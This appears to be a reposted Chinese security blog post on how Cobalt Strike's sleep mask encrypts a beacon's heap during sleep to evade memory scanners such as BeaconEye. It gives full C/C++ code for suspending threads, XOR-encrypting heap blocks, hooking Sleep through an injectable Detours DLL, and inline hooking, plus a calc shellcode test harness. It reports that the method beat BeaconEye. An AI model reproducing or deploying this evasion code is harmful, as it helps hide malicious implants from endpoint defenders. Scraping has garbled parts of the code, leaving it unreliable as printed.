浅析sleepmask堆加密原理

admin 2024年5月17日00:25:47评论3 views字数 17019阅读56分43秒阅读模式

目录

  • 前记

  • 实现过程

  • 后记

  • reference

前记

原理

CS在高版本中推出了sleep mask功能,即在beacon sleep时对堆进行加密混淆,绕过内存扫描,在恢复运行前还原,防止进程崩溃。beacon每次运行的时间远短于sleep时间,内存扫描也就很难发现内存中C2Profile特征,进而实现了绕过

思路如下

在堆加密之前把当前进程的所有线程都挂起来,不然如果其他线程访问堆而堆是乱码。同样的,在挂起线程时,当前线程是不能挂起的,不然就全部挂起当场死锁了,当前线程需要进sleep挂起然后sleep结束恢复

static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(currentHeap, &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}

static void(WINAPI* OrigianlSleepFunction)(DWORD dwMiliseconds);
void WINAPI HookedSleepFunction(DWORD dwMiliseconds) {
    DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
    HeapEncryptDecrypt();

    OriginalSleepFunction(dwMiliseconds);

    HeapEncryptDecrypt();
    DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
    
void main()
{
    DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
    Hook("kernel32.dll""Sleep", (LPVOID)HookedSleepFunction, (FARPROC*)&OriginalSleepFunction, true);
    if (!OldAlloc) {
        MessageBoxA(NULL"Hooking RtlAllocateHeap failed.""Status"NULL);
    }
    DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    // Sleep is now hooked
}

堆加密实现

static PROCESS_HEAP_ENTRY entry;
VOID HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(currentHeap, &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}

实现过程

先浅析代码

 if (Thread32First(h, &te))
 {
     do
     {
         if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
         {
             // Suspend all threads EXCEPT the one we want to keep running
             if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
             {
                 HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                 if (thread != NULL)
                 {
                     SuspendThread(thread);
                     CloseHandle(thread);
                 }
             }
         }
         te.dwSize = sizeof(te);
     } while (Thread32Next(h, &te));
 }

这个检查偏移量加上进程pid大小是因为有一个历史原因。在较旧的 Windows 版本中,Thread32FirstThread32Next 函数默认情况下只填充 THREADENTRY32 结构体中包含有限的信息,这些信息不包括 th32OwnerProcessID 成员。该代码确保检索到的 THREADENTRY32 结构体实际上包含 th32OwnerProcessID 信息。这里把除自己之外的其他线程全部挂起

void WINAPI HookedSleep(DWORD dwMiliseconds) {
    DWORD time = dwMiliseconds;
    if (time > 1000) {
        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
        HeapEncryptDecrypt();

        OldSleep(dwMiliseconds);

        HeapEncryptDecrypt();
        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    }
    else {
        OldSleep(time);
    }
}

这里判断睡眠时间大于一秒就挂起其余线程,进行加密并睡眠,睡眠结束后解密再恢复所有线程

用BeaconEye扫描没有slepp的cs进程内存发现内存中存在beacon,设置sleep后BeaconEye未能检测出beacon

浅析sleepmask堆加密原理


这里自己写个c测试

#include <windows.h>
#include<stdio.h>
void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC0x480x830xE40xF00xE80xC00x000x000x000x410x51,
        0x410x500x520x510x560x480x310xD20x650x480x8B0x52,
        0x600x480x8B0x520x180x480x8B0x520x200x480x8B0x72,
        0x500x480x0F0xB70x4A0x4A0x4D0x310xC90x480x310xC0,
        0xAC0x3C0x610x7C0x020x2C0x200x410xC10xC90x0D0x41,
        0x010xC10xE20xED0x520x410x510x480x8B0x520x200x8B,
        0x420x3C0x480x010xD00x8B0x800x880x000x000x000x48,
        0x850xC00x740x670x480x010xD00x500x8B0x480x180x44,
        0x8B0x400x200x490x010xD00xE30x560x480xFF0xC90x41,
        0x8B0x340x880x480x010xD60x4D0x310xC90x480x310xC0,
        0xAC0x410xC10xC90x0D0x410x010xC10x380xE00x750xF1,
        0x4C0x030x4C0x240x080x450x390xD10x750xD80x580x44,
        0x8B0x400x240x490x010xD00x660x410x8B0x0C0x480x44,
        0x8B0x400x1C0x490x010xD00x410x8B0x040x880x480x01,
        0xD00x410x580x410x580x5E0x590x5A0x410x580x410x59,
        0x410x5A0x480x830xEC0x200x410x520xFF0xE00x580x41,
        0x590x5A0x480x8B0x120xE90x570xFF0xFF0xFF0x5D0x48,
        0xBA0x010x000x000x000x000x000x000x000x480x8D0x8D,
        0x010x010x000x000x410xBA0x310x8B0x6F0x870xFF0xD5,
        0xBB0xF00xB50xA20x560x410xBA0xA60x950xBD0x9D0xFF,
        0xD50x480x830xC40x280x3C0x060x7C0x0A0x800xFB0xE0,
        0x750x050xBB0x470x130x720x6F0x6A0x000x590x410x89,
        0xDA0xFF0xD50x630x610x6C0x630x2E0x650x780x650x00
    };
    LPVOID Alloc =(LPVOID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(rawData));
    if (Alloc == NULL) {
        // 分配内存失败
        printf("Error allocating memoryn");
        HeapFree(GetProcessHeap(), 0, Alloc);
        return;
    }
    memcpy(Alloc, rawData, sizeof(rawData));
    while (1)
    {
        printf("%xn", Alloc);
        Sleep(5000);
    }
    HeapFree(GetProcessHeap(), 0, Alloc);
    return;
}

int main() {
    like();
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<stdlib.h>
#include<iostream>
#include<windows.h>
#include<detours.h>
#include "Encrypt.h"
#include "SuspendThreads.h"
using namespace std;
auto pf = Sleep;

// Encryption Key
const char key[6] = "ACDEf";
size_t keySize = sizeof(key);

PROCESS_HEAP_ENTRY entry;
void HeapEncryptDecrypt() {
    SecureZeroMemory(&entry, sizeof(entry));
    while (HeapWalk(GetProcessHeap(), &entry)) {
        if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
            xor_bidirectional_encode(key, keySize, (char*)(entry.lpData), entry.cbData);
        }
    }
}
//Hooked Sleep
void WINAPI HookedSleep(DWORD dwMiliseconds) {
    DWORD time = dwMiliseconds;
    if (time > 1000) {
        DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());
        HeapEncryptDecrypt();
        pf(time);
        HeapEncryptDecrypt();
        DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());
    }
    else {
        pf(time);
    }
}
int main()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&pf, HookedSleep);
    DetourTransactionCommit();
}
EXTERN_C __declspec(dllexport) void test()
{

}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)

{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这里加密用异或,所以加解密使用同一个函数

//Encrypt.h
#pragma once

void xor_bidirectional_encode(const char* key, const size_t keyLength, char* buffer, const size_t length) {
    for (size_t i = 0; i < length; ++i) {
        buffer[i] ^= key[i % keyLength];
    }
}
#pragma once

#include <Windows.h>
#include <TlHelp32.h>

// Pass 0 as the targetProcessId to suspend threads in the current process
void DoSuspendThreads(DWORD targetProcessId, DWORD targetThreadId)
{
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if (Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    // Suspend all threads EXCEPT the one we want to keep running
                    if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
                    {
                        HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                        if (thread != NULL)
                        {
                            SuspendThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

void DoResumeThreads(DWORD targetProcessId, DWORD targetThreadId)
{
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (h != INVALID_HANDLE_VALUE)
    {
        THREADENTRY32 te;
        te.dwSize = sizeof(te);
        if (Thread32First(h, &te))
        {
            do
            {
                if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID))
                {
                    // Suspend all threads EXCEPT the one we want to keep running
                    if (te.th32ThreadID != targetThreadId && te.th32OwnerProcessID == targetProcessId)
                    {
                        HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                        if (thread != NULL)
                        {
                            ResumeThread(thread);
                            CloseHandle(thread);
                        }
                    }
                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

可以明显看到堆内存在sleep和被唤醒时不断的解密和加密

浅析sleepmask堆加密原理


浅析sleepmask堆加密原理


后记

Detour

环境搭建

disasm.cpp:
#pragma data_seg(".code1")
#pragma const_seg(".code2")

x64 Native Tools Command Prompt for VS 2022
nmake
设置$(SolutionDir)
VC++目录两处,链接器常规、输入各一处

hook格式

#include<iostream>
#include<windows.h>
#include<detours.h>
using namespace std;
auto pf = MessageBoxA;

int WINAPI hookfunc(
 _In_opt_ HWND hWnd,
 _In_opt_ LPCSTR lpText,
 _In_opt_ LPCSTR lpCaption,
 _In_ UINT uType)
 
{

 printf("coleak");
 return pf(hWnd,lpText,lpCaption,uType);
 //return 0;
}
int main()
{
 DetourTransactionBegin();
 DetourUpdateThread(GetCurrentThread());
 DetourAttach(&pf, hookfunc);
 DetourTransactionCommit();
 MessageBoxA(0000);
 //unhook
 DetourTransactionBegin();
 DetourUpdateThread(GetCurrentThread());
 DetourDetach(&pf, hookfunc);
 DetourTransactionCommit();
 MessageBoxA(0"cc""dd"0);
 return 0;
}

minhook

MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal);
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
;


void SetHook()
{
 if (MH_Initialize() == MB_OK)
 {
  MH_CreateHook(&MessageBoxA, &MyMessageBoxA, reinterpret_cast<void**>(&fpMessageBoxA));
  MH_EnableHook(&MessageBoxA);
 }
}

void UnHook()
{
 if (MH_DisableHook(&MessageBoxA) == MB_OK)
 {
  MH_Uninitialize();
 }
}

或者

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
    LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)

{
    return MH_CreateHookApi(
        pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

inline hook

实现流程

  • 获取需要挂钩的函数地址
  • 修改函数代码跳转到我们自己写的新函数,即hook
  • unhook
  • 调用恢复的原函数
  • 重新设置hook

x86

//x68就是push,xc3就是ret,然后32位的程序,地址刚好4字节
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    // print intercepted values from the MessageBoxA function
    std::cout << "Ohai from the hooked functionn";
    std::cout << "Text: " << (LPCSTR)lpText << "nCaption: " << (LPCSTR)lpCaption << std::endl;

    // unpatch MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);

    // call the original MessageBoxA
    return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
    // show messagebox before hooking
    MessageBoxA(NULL"hi""hi", MB_OK);

    HINSTANCE library = LoadLibraryA("user32.dll");
    SIZE_T bytesRead = 0;

    // get address of the MessageBox function in memory
    messageBoxAddress = GetProcAddress(library, "MessageBoxA");

    // save the first 6 bytes of the original MessageBoxA function - will need for unhooking
    ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);
    //8b ff 55 8b ec 83
    // create a patch "push <address of new MessageBoxA); ret"
    void* hookedMessageBoxAddress = &HookedMessageBox;
    char patch[6] = { 0 };
    memcpy_s(patch, 1"x68"1);
    memcpy_s(patch + 14, &hookedMessageBoxAddress, 4);
    memcpy_s(patch + 51"xC3"1);
    // patch the MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);
    // show messagebox after hooking
    MessageBoxA(NULL"hi""hi", MB_OK);
    return 0;
}

x64

//mov rax xxxxxxx,push rax,ret
#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
BYTE OldCode[12] = { 0x00 };
BYTE HookCode[12] = { 0x480xB80x900x900x900x900x900x900x900x900xFF0xE0 };

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    // print intercepted values from the MessageBoxA function
    std::cout << "Ohai from the hooked functionn";
    std::cout << "Text: " << (LPCSTR)lpText << "nCaption: " << (LPCSTR)lpCaption << std::endl;

    // unpatch MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, OldCode, sizeof(OldCode), &bytesWritten);

    // call the original MessageBoxA
    return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
    // show messagebox before hooking
    MessageBoxA(NULL"hi""hi", MB_OK);

    HINSTANCE library = LoadLibraryA("user32.dll");
    SIZE_T bytesRead = 0;

    // get address of the MessageBox function in memory
    messageBoxAddress = GetProcAddress(library, "MessageBoxA");

    // save the first 6 bytes of the original MessageBoxA function - will need for unhooking
    ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, OldCode, 12, &bytesRead);

    // create a patch "push <address of new MessageBoxA); ret"
    void* hookedMessageBoxAddress = &HookedMessageBox;
    *(PINT64)(HookCode + 2) = (UINT64)HookedMessageBox;
    // patch the MessageBoxA
    WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, HookCode, sizeof(HookCode), &bytesWritten);

    // show messagebox after hooking
    MessageBoxA(NULL"hi""hi", MB_OK);

    return 0;
}

dll版本

#include <stdio.h>
#include <Windows.h>

BYTE OldCode[12] = { 0x000x000x000x000x000x000x000x000x000x000x000x00 };
BYTE HookCode[12] = { 0x480xB80x900x900x900x900x900x900x900x900xFF0xE0 };

void Hook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction)
{
 DWORD_PTR FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
 DWORD OldProtect = 0;

 if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
 {
  memcpy(OldCode, (LPVOID)FuncAddress, 12);                   // 拷贝原始机器码指令
  *(PINT64)(HookCode + 2) = (UINT64)lpFunction;               // 填充90为指定跳转地址
 }
 memcpy((LPVOID)FuncAddress, &HookCode, sizeof(HookCode));       // 拷贝Hook机器指令
 VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}

void UnHook(LPCWSTR lpModule, LPCSTR lpFuncName)
{
 DWORD OldProtect = 0;
 UINT64 FuncAddress = (UINT64)GetProcAddress(GetModuleHandle(lpModule), lpFuncName);
 if (VirtualProtect((LPVOID)FuncAddress, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
 {
  memcpy((LPVOID)FuncAddress, OldCode, sizeof(OldCode));
 }
 VirtualProtect((LPVOID)FuncAddress, 12, OldProtect, &OldProtect);
}

int WINAPI MyMessageBoxW(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
 // 首先恢复Hook代码
 UnHook(L"user32.dll""MessageBoxW");
 int ret = MessageBoxW(0L"hello lyshark", lpCaption, uType);

 // 调用结束后,再次挂钩
 Hook(L"user32.dll""MessageBoxW", (PROC)MyMessageBoxW);
 return ret;
}

bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)
{
 switch (dword)
 {
 case DLL_PROCESS_ATTACH:
  Hook(L"user32.dll""MessageBoxW", (PROC)MyMessageBoxW);
  break;
 case DLL_PROCESS_DETACH:
  UnHook(L"user32.dll""MessageBoxW");
  break;
 }
 return true;
}

常识速记

线程挂起

SuspendThreads和TerminateThread都是往目标线程里面插APC,在APC中对线程实现挂起/终止。然后发起一个中断去触发APC,如果线程本身在用户态接受中断就立刻执行APC,如果在内核态,就可能忽略中断,等从内核态出来再处理APC

堆栈区别

简单来说,栈是用于存储函数中局部数据的,函数执行完后栈上的数据会被清除。这意味着在函数运行期间存储在栈上的数据,在函数返回并完成时会被释放。对于那些你需要长期保存的变量来说,这显然不是一个好的选择。

而堆则是一种更长期的存储解决方案。堆上的分配会一直保留在堆上,直到你的代码手动释放它们为止。但是,如果你不断地将数据分配到堆上而从未释放任何内容,则会导致内存泄漏。

xdbg内存属性

  • 可读 (R): 允许读取内存中的数据。
  • 可写 (W): 允许写入内存中的数据。
  • 可执行 (E): 允许执行内存中的代码。
  • 复制 (C): 允许将内存中的数据复制到其他进程。
  • 守护 (G): 防止内存中的数据被修改。

获取堆

GetProcessHeap用来获取默认堆而不能获取用户自己分配的堆(为了建议用户自己管理自己的堆而不被别人影响),而HeapWalk可以枚举指定堆中的内存块(虽然回收后堆空间存在碎片,但堆分配的空间在逻辑地址上是连续的,而在物理地址上是不连续的,因为采用了页式内存管理)

reference

https://blog.z3ratu1.top/%E5%A0%86%E5%8A%A0%E5%AF%86%E6%8A%80%E6%9C%AF%E6%8A%84%E5%86%99.html
https://xz.aliyun.com/t/9166?time__1311=n4%2BxuDgD9DyDnDfhD1D%2FD0WojowpItWeD&alichlgref=https%3A%2F%2Fwww.bing.com%2F
https://www.cnblogs.com/LyShark/p/13653394.html
https://www.arashparsa.com/hook-heaps-and-live-free/#considerations
https://github.com/TsudaKageyu/minhook


原文始发于微信公众号(渗透测试安全攻防):浅析sleepmask堆加密原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日00:25:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析sleepmask堆加密原理https://cn-sec.com/archives/2749402.html

发表评论

匿名网友 填写信息